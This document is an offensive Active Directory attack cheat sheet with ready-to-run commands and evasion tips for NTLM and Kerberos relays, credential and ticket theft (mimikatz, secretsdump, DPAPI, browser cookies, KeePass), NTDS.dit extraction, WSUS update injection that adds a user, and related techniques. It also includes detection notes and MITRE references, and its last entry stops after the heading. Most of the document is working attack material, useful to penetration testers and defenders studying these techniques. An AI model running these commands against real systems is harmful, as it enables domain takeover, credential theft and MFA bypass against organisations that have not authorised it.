Drop-the-MIC (CVE-2019-1040)

Strip the NTLM MIC to relay cross-protocol (SMB -> LDAP).

The Message Integrity Code (MIC) exists to stop an attacker from tampering with NTLM messages during a relay. CVE-2019-1040 ("Drop the MIC") showed the target still accepts NTLM auth after the MIC is stripped, so the attacker can clear the signing-negotiation flags too and relay cross-protocol with an unsigned session. ntlmrelayx does this with --remove-mic, which enables unsigned relays such as SMB to LDAP. Relaying a machine or user to LDAP this way grants the attacker-chosen user DCSync rights (it writes the DS-Replication-Get-Changes and -All ACEs on the domain object) or configures delegation, provided the relayed account already holds sufficient rights, e.g. WriteDacl on the domain (Exchange) or a DC computer account.

Requires

  • Captured/coerced NTLM authentication to relay
  • The target that accepts the relayed auth must be unpatched for CVE-2019-1040 (patched June-2019); for SMB -> LDAP that target is the DC
  • LDAP signing / channel binding NOT enforced on the target

Example commands

# Relay SMB to LDAP with the MIC stripped, escalate a user
ntlmrelayx.py -t ldap://dc01 --remove-mic --escalate-user lowpriv -smb2support
# Relay to LDAPS with an interactive LDAP shell
ntlmrelayx.py -t ldaps://dc01 --remove-mic -i -smb2support

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: CVE PoC: only works when the host that accepts the relayed auth is unpatched for CVE-2019-1040 (here the DC accepting the SMB -> LDAP relay), and the LDAP-side ACL/escalation change (DCSync grant, 5136 directory-modification) is high-signal and persistent. Enforcing LDAP signing + channel binding mitigates the relay entirely.

Relay to MSSQL

Relay auth to a SQL Server, run OS commands via xp_cmdshell as the SQL Server service account.

Instead of relaying to SMB/LDAP, point ntlmrelayx at a MSSQL instance with -t mssql://. The relayed identity is authenticated to the database; if that login is sysadmin (or can enable it) you can turn on and run xp_cmdshell to execute OS commands as the SQL Server service account. ntlmrelayx exposes an interactive MSSQL prompt with -i (a SOCKS proxy via -socks is the multi-target alternative).

Requires

  • Captured/coerced authentication of a SQL login
  • A reachable MSSQL instance where the relayed login is (or can become) sysadmin

Example commands

# Relay to MSSQL, open an interactive SQL shell
ntlmrelayx.py -t mssql://10.0.0.30 -i -smb2support --no-multirelay
# In the relayed SQL prompt: enable + run xp_cmdshell
enable_xp_cmdshell
xp_cmdshell whoami

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: xp_cmdshell execution and the sp_configure change are logged by SQL Server audit/EDR and the spawned cmd runs as the SQL service account. Disabling xp_cmdshell and enforcing Extended Protection on SQL endpoints closes this path.

Relay / Abuse WSUS

Relay WSUS client auth, or push a malicious update.

WSUS clients authenticate to the update server, so an attacker who spoofs or relays WSUS (commonly over the cleartext HTTP port 8530) can capture and relay machine and user authentications to SMB, LDAP/S or AD CS (ESC8). The second angle is update injection: when WSUS runs over HTTP, a MITM can push an attacker-chosen Microsoft-signed binary (e.g. PsExec) as a "patch", running it as SYSTEM on the client. The relay and the update injection are separate attacks with different tooling.

Requires

  • A position to intercept/relay WSUS traffic (LLMNR/ARP/mitm6 poisoning or rogue server)
  • WSUS configured over HTTP (no TLS) for the update-injection variant

Example commands

# Relay WSUS machine-account auth to LDAP (RBCD)
ntlmrelayx.py -t ldap://dc01 -smb2support --http-port 8530 --remove-mic --delegate-access
# Inject a malicious "update" via a rogue HTTP WSUS server
python pywsus.py -H <attacker_ip> -p 8530 -e PsExec64.exe -c '/accepteula /s cmd.exe /c "net user hacker Passw0rd! /add"'

Tools

MITRE ATT&CK: T1557

References

OPSEC / detection: Destructive/disruptive: serving a fake update deploys a binary to clients as SYSTEM and shows up as an out-of-band patch in WSUS reporting; the MITM/poisoning leg is itself noisy. Configuring WSUS over HTTPS with TLS mitigates the update-injection variant. (PyWSUS command is illustrative: confirm flags against the tool README for your version.)

Kerberos Relay

Relay a Kerberos AP-REQ (e.g. to LDAP) for RBCD.

Kerberos auth can also be relayed: an AP-REQ a victim initiates for one service is forwarded to another service that does not enforce signing or encryption. dirkjanm's krbrelayx (paired with mitm6 to coerce auth via DNS) relays the ticket to HTTP or LDAP. KrbRelayUp packages a local self-relay on Windows where LDAP signing is not enforced (the default): it coerces the local machine account, relays to LDAP, and configures RBCD over the host to gain SYSTEM. On a default DC, LDAP signing is off so the LDAP relay works, which is KrbRelayUp's premise; once LDAP signing and channel binding are enforced the LDAP relay is blocked and AD CS HTTP web enrollment (ESC8) becomes the common alternative target.

Requires

  • Ability to coerce/trigger Kerberos auth from the victim (mitm6/DNS, local COM)
  • A target service not enforcing Kerberos signing/encryption (HTTP AD CS, or LDAP without signing)
  • MachineAccountQuota > 0 (to create the RBCD computer object)

Example commands

# krbrelayx: relay a coerced Kerberos AP-REQ to AD CS over HTTP
krbrelayx.py --target http://adcs.domain.local/certsrv/ -ip <attacker_ip> --victim TARGET$ --adcs --template Machine
# KrbRelayUp: RBCD local privesc (relay then spawn)
KrbRelayUp.exe relay -d domain.local -cn FAKECOMPUTER -m rbcd -c -cp Passw0rd!
KrbRelayUp.exe spawn -d domain.local -cn FAKECOMPUTER -m rbcd -cp Passw0rd! -i Administrator

Tools

MITRE ATT&CK: T1557

References

OPSEC / detection: Creating/renaming a machine account (4741/4781) and the RBCD attribute write (5136 on msDS-AllowedToActOnBehalfOfOtherIdentity) are detectable; mitm6/DNS poisoning is noisy. Enforcing LDAP signing + channel binding and setting MachineAccountQuota to 0 break the chain. Operationally: krbrelayx needs a krb5.conf for the realm and the target reachable by FQDN (add it to /etc/hosts) so the relayed AP-REQ validates against the right SPN.

Extract NAA Credentials

Register a rogue client, request machine policy, deobfuscate NAA creds.

With SCCM/AD defaults, any domain user can register a device as an SCCM client, request the machine policy from a management point, and deobfuscate the Network Access Account creds in the NAAConfig policy (CRED-2). On an existing client the same secrets can be recovered locally from DPAPI blobs (CRED-3). NAAs are domain accounts and frequently over-privileged.

Requires

  • A domain machine account, or a domain user able to create one (MachineAccountQuota > 0, default 10) to register a rogue client (CRED-2); or local admin on a client (CRED-3)
  • SCCM site using NAAs with defaults

Example commands

# Recover NAA creds from an already-enrolled client (CRED-2, reuses this host's registered identity)
SharpSCCM.exe get secrets -mp <MANAGEMENT_POINT> -sc <SITE_CODE>
# Register a rogue client first, then recover NAA creds (CRED-2; -u expects a machine account ending in $)
SharpSCCM.exe get secrets -mp <MANAGEMENT_POINT> -sc <SITE_CODE> -r <device> -u <COMPUTER$> -p <password>
# Recover NAA secrets from local DPAPI (CRED-3, needs local admin)
SharpSCCM.exe local secrets -m disk

Tools

MITRE ATT&CK: T1552.001

References

OPSEC / detection: Registering a rogue device creates an AD computer object and an SCCM client record, both auditable. DPAPI recovery (CRED-3) is local and quieter but needs admin on the client. Clean up the registered device.

PXE Boot Media Creds

Pull & decrypt PXE boot media from a PXE-enabled DP, no auth needed.

PXE-enabled distribution points serve OS-deployment boot media over TFTP, and the policies inside (NAAConfig, TaskSequence) carry credential material. An unauthenticated attacker can locate the PXE DP via DHCPDISCOVER, pull the media, and use cleartext secrets or crack the protecting password offline (CRED-1). One of the few SCCM attacks needing no domain credentials.

Requires

  • Network access to a PXE-enabled distribution point (no credentials)

Example commands

# Auto-discover & download PXE media (auto-tries a blank password)
python3 pxethief.py 1
# Print the crackable hash from the downloaded media variables file
python3 pxethief.py 5 <media-variables-file> > pxe.hash
# Crack the media password offline (mode 19850 needs PXEThief's custom hashcat module, not stock hashcat)
hashcat -m 19850 pxe.hash rockyou.txt
# Decrypt the media variables to extract secrets (once the password is known or blank)
python3 pxethief.py 3 <media-variables-file>

Tools

References

OPSEC / detection: A sudden boot-media pull from an unexpected host can stand out; cracking is offline and invisible. Verify the current hashcat mode for protected PXE media against PXEThief docs before relying on it.

KeePass Extraction

Recover a KeePass master key/password from memory or brute force.

KeePass databases (.kdbx) frequently hold domain and admin credentials. KeeThief extracts the composite master key from a live KeePass.exe process (works while unlocked, no master password); the CVE-2023-32784 dumper recovers the master password from a memory/pagefile/hiberfil dump of KeePass 2.x before 2.54, but it cannot recover the first character (it leaves a near-complete password that usually needs a small brute-force or guess on the missing first char, and the tool can emit a candidate wordlist); or, with the .kdbx alone, keepass4brute brute-forces the master password offline. keepass4brute targets KDBX 4.x (KeePass >= 2.36) specifically; it is a sequential bash loop that shells out to keepassxc-cli per candidate (no GPU, no hash extraction, so slow), and older KDBX should go via keepass2john + hashcat instead. Privilege gradient: the in-memory paths (KeeThief, the CVE-2023-32784 dump) need code execution in the KeePass user's context, while the offline brute-force needs only the .kdbx file obtained upstream.

Requires

  • Local code execution
  • KeeThief: an unlocked KeePass.exe; CVE-2023-32784: a dump of KeePass 2.x < 2.54; keepass4brute: the .kdbx (KDBX 4.x) + a weak master password + keepassxc-cli installed (older KDBX: keepass2john + hashcat)

Example commands

# Extract the master key from process memory
Get-KeePassDatabaseKey
# Recover master password from a dump, then emit candidates for the missing first char (CVE-2023-32784)
dotnet run <KeePass_dump_file>
dotnet run <KeePass_dump_file> <wordlist.txt>
# Brute-force the .kdbx offline
./keepass4brute.sh database.kdbx wordlist.txt
# Inject an export trigger into the user config (waits for next unlock)
nxc smb <host> -u <u> -p <p> -M keepass_discover
nxc smb <host> -u <u> -p <p> -M keepass_trigger -o ACTION=ADD KEEPASS_CONFIG_PATH=<path>

Tools

MITRE ATT&CK: T1555.005

References

OPSEC / detection: KeeThief injects a remote thread / shellcode into the signed KeePass.exe to decrypt its memory, which behavioral EDR flags on its own (independent of any dump). The separate CVE-2023-32784 route needs a process/pagefile/hiberfil memory dump, caught by dump-creation and CVE-specific rules. keepass4brute is offline once the .kdbx is exfiltrated. KeePass 2.54+ mitigates CVE-2023-32784.

RDP Session Hijack (tscon)

As SYSTEM, tscon into another user's RDP session, no password needed.

From SYSTEM, the native tscon.exe reconnects any existing RDP session (active or disconnected) to your own session without the password or a prompt. Enumerate with query user, then connect to a more privileged session to inherit its interactive token and loaded credentials/tickets, which is quieter than dumping LSASS. A common trick launches tscon via a temporary service so it runs as SYSTEM.

Requires

  • Local admin on the host (tscon runs as SYSTEM, e.g. via a temporary service)
  • An existing RDP session belonging to another (ideally more privileged) user

Example commands

# List sessions and IDs
query user
# As SYSTEM, hijack session 2 to the console
tscon 2 /dest:console
# Get SYSTEM, then tscon via a service
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
sc start sesshijack
# List interactive sessions to hijack (NetExec)
nxc smb <host> -u user -p pass --qwinsta
# Related (not tscon): remote session impersonation via a scheduled task run as a logged-on user (NetExec schtask_as)
nxc smb <host> -u user -p pass -M schtask_as -o USER=victim CMD='whoami'

Tools

MITRE ATT&CK: T1563.002

References

OPSEC / detection: Detected by tscon.exe spawned as SYSTEM without a password. The service route logs both 7045 (System) and 4697 (Security), and a service whose binPath contains "tscon ... /dest:" is a high-signal published signature. The direct interactive tscon command (no service) generates no 7045, so it is caught by process/command-line telemetry instead. The hijacked user may notice their session disconnected/reconnected. No credential material is written to disk.

LSASS PPL / LSA Protection Bypass

Defeat RunAsPPL with mimikatz mimidrv to dump LSASS.

RunAsPPL runs LSASS as a Protected Process Light, blocking normal handle access and standard dumping. Mimikatz ships a signed kernel driver, mimidrv.sys: load it with !+, then !processprotect /process:lsass.exe /remove strips the protection flag so sekurlsa::logonpasswords works. Currency caveat: mimidrv.sys is on Microsoft's vulnerable-driver blocklist (default-on for all Windows 11 devices since 22H2 (the 2022 update), and additionally enforced when HVCI / Smart App Control / S mode is active, e.g. on Server, except Windows Server 2016), so on hardened hosts it is blocked at load and you fall back to a fresh BYOVD driver or disabling RunAsPPL in the registry and rebooting. On a legacy host without the blocklist the mimidrv route still works.

Requires

  • Local admin / SYSTEM
  • Ability to load a kernel driver (mimidrv.sys) or set the RunAsPPL registry value

Example commands

# Load mimidrv, remove LSASS protection, dump (run inside the mimikatz console)
privilege::debug
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
# Disable RunAsPPL via registry (needs reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 0 /f

Tools

MITRE ATT&CK: T1003.001

References

OPSEC / detection: Very high-signal: loading mimidrv.sys writes a known-malicious signed driver and registers a kernel service, and EDR/AV detect both. The registry route (RunAsPPL=0) needs a reboot and is itself audited.

Crack MSCacheV2 (DCC2)

Crack cached domain logon credentials (DCC2) offline.

Domain-joined hosts cache the last domain logons as MSCacheV2 (DCC2) so users can log in when the DC is unreachable. With SYSTEM, dump them from the SECURITY hive (secretsdump LOCAL, or mimikatz lsadump::cache). DCC2 cannot be passed (no PtH/PtT), so it must be cracked offline: PBKDF2-HMAC-SHA1, default 10240 iterations (configurable higher via the MSCacheV2 iteration GPO / NL$IterationCount), so slow, but weak passwords still fall and yield valid domain credentials.

Requires

  • Local admin / SYSTEM to read the SECURITY hive
  • A crackable password (DCC2 is slow)

Example commands

# Dump DCC2 from saved hives
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
# Dump cached creds (mimikatz; run as SYSTEM)
privilege::debug
token::elevate
lsadump::cache
# Crack DCC2 (hashcat mode 2100; the iteration field must match the count from the dump, e.g. $DCC2$<iterations>#user#hash, not a hardcoded 10240)
hashcat -m 2100 '$DCC2$10240#username#hash' rockyou.txt -r rules/best64.rule

Tools

MITRE ATT&CK: T1003.005

References

OPSEC / detection: Dumping is the same SECURITY-hive read as SAM/LSA secrets; cracking is offline and invisible. The high iteration count makes brute force expensive, so prioritise targeted wordlists.

NTDS.dit Extraction (VSS / ntdsutil)

Copy the DC's locked AD database via Shadow Copy / ntdsutil IFM, parse offline.

With admin access to a Domain Controller, the locked NTDS.dit database can be copied by snapshotting the volume (vssadmin/diskshadow) or via ntdsutil's IFM export. With the SYSTEM hive it yields NT hashes, Kerberos keys (incl. krbtgt) and password history for every account: the on-DC alternative to DCSync, and how a stolen DC backup/VM is looted.

Requires

  • Administrative access to a Domain Controller (or a stolen DC backup/VM)

Example commands

# ntdsutil IFM export on the DC
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ntds" quit quit
# Parse offline with secretsdump
secretsdump.py -ntds ntds.dit -system system.save LOCAL
# Remote dump using the DC VSS
secretsdump.py -use-vss 'DOMAIN/Administrator:Pass@dc01.corp.local'
# Dump NTDS via the DC VSS snapshot (NetExec)
nxc smb <dc> -u user -p pass --ntds vss

Tools

MITRE ATT&CK: T1003.003

References

OPSEC / detection: Shadow-copy creation and ntdsutil snapshots are logged (4688 / VSS events) and noisy; defenders monitor secretsdump/ntdsutil patterns. The remote replication method (DRSUAPI, the nxc --ntds default) spawns no suspicious process on the DC, so it is caught instead via Event 4662 (the DS-Replication-Get-Changes GUIDs requested by a non-DC principal), distinct from the 4688-based detection of the on-box snapshot tools. Pull only the needed hives and clean up snapshots.

DPAPI User Secrets

Decrypt per-user DPAPI master keys → browser, Credential Manager, RDP, vault secrets.

DPAPI encrypts user secrets (Chrome/Edge logins, Credential Manager, saved RDP creds) under master keys derived from the user's password/NT hash. Given the password/hash, SYSTEM on the host, or the domain DPAPI backup key, these master keys decrypt offline and the blobs are recovered. Scheduled-task and service-account passwords are protected under the MACHINE master keys instead (decrypted from the SYSTEM DPAPI_SYSTEM secret, not the user's password). This is the user-level harvesting layer, distinct from the domain backup key.

Requires

  • SYSTEM on the user's host, or the user's password/hash, or the domain DPAPI backup key

Example commands

# Mass-harvest remotely (DonPAPI)
donpapi collect -u user -p 'Password1' -d corp.local --target 10.0.0.0/24
# Decrypt a masterkey with the user password
dpapi.py masterkey -file ./masterkeyfile -sid <SID> -password 'Password1'
# Triage + decrypt creds/vaults (SharpDPAPI)
SharpDPAPI.exe triage /password:Password1

Tools

MITRE ATT&CK: T1555

References

OPSEC / detection: Reading other users' masterkey/credential files and touching LSASS for the master-key cache can trigger EDR; remote DonPAPI collection generates SMB access to profile paths across many hosts.

WDigest Cleartext Downgrade

Re-enable WDigest plaintext caching, then read passwords from LSASS after a logon.

Since Windows 8.1 / Server 2012 R2, WDigest no longer caches plaintext credentials in LSASS by default. An admin can set HKLM\...\WDigest\UseLogonCredential to 1 to force cleartext caching again, then wait for interactive/RDP logons and dump LSASS to read passwords directly, avoiding offline cracking. Slow, and best on jump hosts with frequent privileged logons. Condition: this only works where Credential Guard is off. On Windows 11 / Server 2022+ Credential Guard is increasingly enabled by default and isolates secrets in VSM (LSAIso), so UseLogonCredential has no effect on cleartext. You would first have to disable or bypass Credential Guard: the supported config/GPO disable is reboot-gated and high-signal, whereas the offensive in-memory bypass (itm4n / BypassCredGuard) patches the wdigest globals in live LSASS at runtime with SYSTEM and no reboot.

Requires

  • Local admin / SYSTEM on the host
  • Credential Guard NOT enabled (or already bypassed)
  • A victim interactive/RDP logon after the change

Example commands

# Enable cleartext caching
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
# After a logon, read cleartext from LSASS
sekurlsa::wdigest

Tools

MITRE ATT&CK: T1003.001

References

OPSEC / detection: Writing UseLogonCredential=1 is a high-signal indicator monitored by EDR and Sysmon registry rules; it also requires waiting for a victim logon, increasing dwell time.

Timeroast

Abuse MS-SNTP to extract crackable computer/trust account hashes from a DC, no auth needed.

Domain Controllers authenticate NTP responses (MS-SNTP) with a MAC keyed on the queried account's NT hash, indexed by RID. An unauthenticated attacker iterates RIDs against the DC's UDP/123 service to obtain password-equivalent hashes for all computer/trust accounts, then cracks them offline (hashcat -m 31300). Effective against weak/predictable machine passwords.

Requires

  • Network access to a Domain Controller (UDP/123); no credentials needed

Example commands

# Unauthenticated harvest
python3 timeroast.py 10.0.0.1 -o timeroast_hashes.txt
# Crack the MACs (mode 31300; --username strips the RID prefix)
hashcat -m 31300 --username timeroast_hashes.txt wordlist.txt

Tools

MITRE ATT&CK: T1110.002

References

OPSEC / detection: NTP traffic to a DC is ubiquitous and rarely audited, but a full RID sweep is not ordinary time sync: it is a burst of thousands of MS-SNTP client-mode requests from a single non-DC host (up to 180 queries/sec by default) with incrementing RIDs, which is detectable where MS-SNTP request patterns are monitored. Throttle -a and/or target known RIDs to stay under the radar. Cracking is compute-intensive but runs entirely offline on attacker hardware, so it is invisible to the target.

UnPAC-the-Hash

Recover an account's NT hash from a PKINIT (certificate) TGT via a U2U request.

When PKINIT yields a TGT (from an AD CS cert or Shadow Credentials), the KDC embeds the account's NT hash in the PAC's PAC_CREDENTIAL_INFO so NTLM still works. A U2U S4U2self request with that TGT decrypts the buffer and recovers the NT hash, bridging certificate access to hash attacks (PtH, silver tickets) without the password.

Requires

  • A PKINIT-capable certificate or key credential for the target (from AD CS / Shadow Credentials)

Example commands

# Cert → TGT → NT hash (Certipy)
certipy auth -pfx user.pfx -dc-ip 10.0.0.1
# Manual (PKINITtools)
gettgtpkinit.py corp.local/user -cert-pfx user.pfx out.ccache
export KRB5CCNAME=out.ccache
getnthash.py corp.local/user -key <AS-REP-key>

Tools

MITRE ATT&CK: T1550.002

References

OPSEC / detection: The U2U + S4U2self self-ticket TGS-REQ (ENC-TKT-IN-SKEY, kdc-options ~0x40810018) is a distinctive on-wire pattern that vendors hunt for, so the recovery step does not simply blend in; the upstream certificate enrollment is also detectable. Operationally: PKINIT and the U2U request both fail on clock skew, so sync the host clock to the DC first (KRB_AP_ERR_SKEW) and point KRB5CCNAME at the emitted ccache before running getnthash.

ADIDNS Spoofing

As any user, add a DNS record (or wildcard) to MITM name resolution domain-wide.

AD-Integrated DNS zones grant Authenticated Users the right to create child records by default. An attacker adds records pointing at themselves (or a wildcard '*' that answers all unresolved names EXCEPT the DNS Global Query Block List entries, which by default include wpad and isatap), turning one LDAP write into domain-wide LLMNR-style poisoning that survives reboots. For the WPAD chain specifically: on DCs patched against CVE-2018-8320 (Oct 2018) a wildcard/DNAME no longer bypasses the GQBL, so you need an NS record (which still bypasses it) or the defender must have removed wpad from the GQBL.

Requires

  • Any authenticated domain account
  • AD-integrated DNS zone with default create-child rights

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add dnsRecord <name> <attacker_ip>
# Inject a wildcard record
dnstool.py -u 'CORP\user' -p 'Password1' --record '*' --action add --data 10.0.0.66 10.0.0.1
# Add an attacker A-record
dnstool.py -u 'CORP\user' -p 'Password1' --record 'fileserver' --action add --data 10.0.0.66 10.0.0.1

Tools

MITRE ATT&CK: T1557

References

OPSEC / detection: Writes a persistent object visible in DNS Manager and LDAP; a domain-wide wildcard is disruptive and conspicuous. Clean up records and prefer targeted entries.

WebClient (WebDAV) Coercion

Coerce a WebClient host over HTTP → relay cross-protocol to LDAP / AD CS (ESC8).

If the WebClient (WebDAV) service runs on a target (or is triggered by planting a .searchConnector-ms/.library-ms file on a share a user will browse, since WebClient is a manual-start service that fires when a user opens the containing folder in Explorer), coercion methods like PetitPotam/PrinterBug can be pointed at an attacker WebDAV listener using the SERVER@PORT/path syntax. The resulting auth travels over HTTP (not protected by SMB signing), so it relays cross-protocol to LDAP (RBCD/shadow creds) or AD CS web enrollment (ESC8).

Requires

  • The WebClient service running on the target
  • A coercion vector (PetitPotam/PrinterBug)

Example commands

# Find hosts with WebClient running
webclientservicescanner corp.local/user:'Password1'@10.0.0.0/24
# Coerce over WebDAV to the relay listener (the listener MUST be a resolvable NetBIOS/hostname, not an IP; use a coerced DNS/ADIDNS record if needed)
PetitPotam.py -u user -p 'Password1' -d corp.local 'attacker@80/x' victim.corp.local
# Relay to AD CS web enrollment (ESC8)
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template Machine
# Find hosts running the WebClient service (NetExec)
nxc smb <subnet> -u user -p pass -M webdav

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: WebClient is default-off on servers but often on workstations. Starting it remotely and the coercion RPC calls are detectable; ESC8/relay chains are high-impact and monitored.

Local Credential Hunting

Sweep a host's files, registry and history for plaintext secrets: PS history, autologon, Credential Manager, unattend, WiFi, sticky notes.

Once you can read a host, an operator sweep turns up cleartext or trivially-recoverable secrets the protected stores miss: PowerShell history (ConsoleHost_history.txt), Windows Credential Manager / Vault (cmdkey, vaultcmd), Winlogon autologon (DefaultPassword), unattend.xml / sysprep, IIS web.config & app-pool identities, scheduled-task XML, WiFi PSKs, Sticky Notes and the Notepad tab cache. Triage tools automate the whole hunt.

Requires

  • Read access to a host (local user; local admin for protected paths)

Example commands

# Credential Manager (enumerate only) + autologon
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all   # lists metadata only, no plaintext
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
# Recover the Credential Manager plaintext (DPAPI tooling)
mimikatz # vault::cred /patch
# or: SharpDPAPI.exe credentials  |  laZagne.exe windows
# PowerShell history + WiFi keys
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
netsh wlan show profile name="<SSID>" key=clear
# IIS app-pool service creds (cleartext)
%windir%\system32\inetsrv\appcmd.exe list apppool /text:*
# Passwords on the command line in event logs (4688)
nxc smb <host> -u <u> -p <p> -M eventlog_creds
# Automated triage (note: gpp_autologin reads the DC SYSVOL, not this host)
Seatbelt.exe -group=all
nxc smb <host> -u <u> -p <p> -M powershell_history
nxc smb <dc> -u <u> -p <p> -M gpp_autologin   # domain-wide GPP hunt on SYSVOL, not local triage

Tools

MITRE ATT&CK: T1552

References

OPSEC / detection: Purely local file/registry reads stay quiet. Louder are the remote nxc modules (eventlog_creds, powershell_history), which authenticate over SMB and touch the remote host (4624 / admin-share access, and eventlog_creds reads the monitored Security log), and vaultcmd /cmdkey, which have purpose-built credential-enumeration detections. The loudest is running a known triage binary (Seatbelt/LaZagne), which is heavily AV-signatured; prefer manual/targeted reads on monitored hosts.

Browser Credentials & Cookies

Decrypt saved browser logins and steal session cookies; replay cookies to bypass MFA.

Chromium/Edge store logins and cookies under DPAPI (and, on Chrome v127+, App-Bound Encryption); Firefox uses its own NSS key store. Beyond passwords, stealing live session cookies/tokens lets you replay an already-authenticated session (bypassing MFA) into M365, SSO and cloud apps.

Requires

  • Self-user, pre-ABE: code execution as the target user (SharpChrome /unprotect decrypts their own secrets, no elevation)
  • Another user's blobs, or bypassing App-Bound Encryption via IElevator: local admin / SYSTEM

Example commands

# Chromium logins + cookies (pre-ABE only: /unprotect handles the v80-v126 DPAPI state key, not Chrome v127+ App-Bound Encryption)
SharpChrome.exe logins /unprotect
SharpChrome.exe cookies /unprotect /format:json
# Firefox / Chrome / Edge creds (NSS + DPAPI)
nxc smb <host> -u <u> -p <p> --dpapi

Tools

MITRE ATT&CK: T1555.003

References

OPSEC / detection: Reading a locked browser DB can fail while the browser runs; cookie reuse from a new device/IP may trip impossible-travel / conditional-access. A legacy DPAPI cookie read is quiet, but the Chrome v127+ App-Bound Encryption bypass (IElevator COM, injection into chrome.exe, or a debugger) is comparatively loud and EDR-visible.

Targeted AS-REP Roasting

On a user you can write, set DONT_REQ_PREAUTH, then AS-REP roast and crack them offline.

The AS-REP analogue of targeted Kerberoasting: with GenericAll/GenericWrite over a victim, flip the DONT_REQ_PREAUTH userAccountControl bit so the KDC issues a pre-auth-free AS-REP encrypted with the victim's key. Roast it, crack offline, then revert the flag.

Requires

  • GenericAll / GenericWrite (userAccountControl) over the target user

Example commands

# Flip UAC, roast, revert
bloodyAD -u <u> -p <p> -d <domain> --host <dc> add uac <victim> -f DONT_REQ_PREAUTH
GetNPUsers.py <domain>/<victim> -no-pass -request -format hashcat -outputfile asrep.txt
bloodyAD -u <u> -p <p> -d <domain> --host <dc> remove uac <victim> -f DONT_REQ_PREAUTH
# Crack
hashcat -m 18200 asrep.txt wordlist.txt

Tools

MITRE ATT&CK: T1558.004

References

OPSEC / detection: Toggling UAC (event 4738) is detectable, and the pre-auth-free request logs on the DC as event 4768 (TGT requested) with Pre-Authentication Type 0; revert the flag promptly. Cracking is offline and invisible.

TGT / Ticket Harvesting

On a host you control, continuously export TGTs from LSASS as users log on: a stream of reusable tickets.

Rather than a one-shot LSASS dump, passively monitor a controlled host and export each new logon's TGTs as they arrive (Rubeus monitor/harvest are TGT-only; a one-shot mimikatz sekurlsa::tickets /export also captures service tickets/TGS). Interactive/RemoteInteractive/RDP logons, batch/scheduled-task and service logons running as the account, and any auth to a host with unconstrained delegation cache a reusable TGT you can pass as that user. Plain network (type 3) logons (inbound SMB/RPC service connections) authenticate and discard, leaving nothing to harvest, so on a normal file or jump server you mostly collect tickets from people who log on interactively (or via delegation).

Requires

  • Local admin / SYSTEM on a host where other users authenticate

Example commands

# Harvest new TGTs in a bounded window (harvest = monitor + auto-renewal; /runfor caps the run)
Rubeus.exe harvest /interval:60 /runfor:600 /nowrap
# Export all tickets (mimikatz)
sekurlsa::tickets /export

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: A long-running process reading LSASS is high-signal to EDR; favour short harvest windows on busy hosts (jump servers, Citrix, admin workstations).

NTLMv1 Downgrade

Force NetNTLMv1, capture it with a chosen challenge, and crack it to the NT hash in minutes via DES / crack.sh.

Where LmCompatibilityLevel still allows NTLMv1, capture or coerce a machine/user NetNTLMv1 response using the fixed challenge 1122334455667788 and crack it to the raw NT hash (DES is broken). crack.sh's non-ESS fixed-challenge rainbow table is free but the service is intermittently down, and ESS/SSP or non-table jobs cost money; alternatives are shuck.sh, hashcat -m 14000, or the public NetNTLMv1 rainbow tables. Recovering a DC or computer account's NT hash this way bridges straight to silver tickets, RBCD or DCSync, with no password needed.

Requires

  • A target allowing NTLMv1 (LmCompatibilityLevel <= 2) + ability to capture/coerce its auth

Example commands

# Check NTLMv1 allowed (module; needs local admin)
nxc smb <host> -u <u> -p <p> -M ntlmv1
# Capture (fixed challenge) + recover the NT hash
# Responder.conf: Challenge = 1122334455667788
responder -I eth0 --lm --disable-ess   # --disable-ess strips Extended Session Security; with ESS the free fixed-challenge rainbow table does not apply (use -m 14000 / shucking / crack.sh's SSP path)
# submit the NetNTLMv1 to crack.sh (DES rainbow -> NT hash), or recover the NT hash locally:
hashcat -m 14000 -a 3 netntlmv1.txt <DES-mask>   # KPA on the two DES keys, then regenerate the NT hash
hashcat -m 27000 -a 0 netntlmv1.txt nt-hashes.txt # NT-hash shucking with an NT-hash wordlist

Tools

MITRE ATT&CK: T1110.002

References

OPSEC / detection: Forcing a downgrade and capturing auth is detectable; the payoff is fast offline NT-hash recovery for the non-ESS rainbow-table case (ESS/SSP or non-table jobs are slower and cost money). Many environments still allow NTLMv1 on legacy hosts.

BitLocker Recovery Key Extraction

Read msFVE-RecoveryInformation from AD to unlock seized, offline or dual-booted volumes.

Where BitLocker recovery keys are escrowed to AD, anyone able to read msFVE-RecoveryInformation on computer objects (delegated, or a DA) can recover the 48-digit recovery password and decrypt any offline volume: exposing NTDS.dit on a stolen DC disk, or the SAM and files on a recovered laptop. A pure directory read, like LAPS.

Requires

  • Read access to msFVE-RecoveryInformation in AD (delegated or DA) + a seized/offline volume

Example commands

# Pull recovery keys from AD over LDAP (bloodyAD)
bloodyAD --host dc01 -d domain.local -u user -p pass get search --filter '(objectClass=msFVE-RecoveryInformation)' --attr msFVE-RecoveryPassword
# Native LDAP read (RSAT)
Get-ADObject -Filter "objectClass -eq 'msFVE-RecoveryInformation'" -Properties msFVE-RecoveryPassword

Tools

MITRE ATT&CK: T1552

References

OPSEC / detection: Reading recovery keys is a quiet LDAP query; the loud part is physically obtaining the volume. Useful against stolen backups/laptops where online attacks do not apply.

Linux Host Secrets (keytab/ccache)

Loot Kerberos keytabs, ticket caches & SSSD cache on domain-joined Linux.

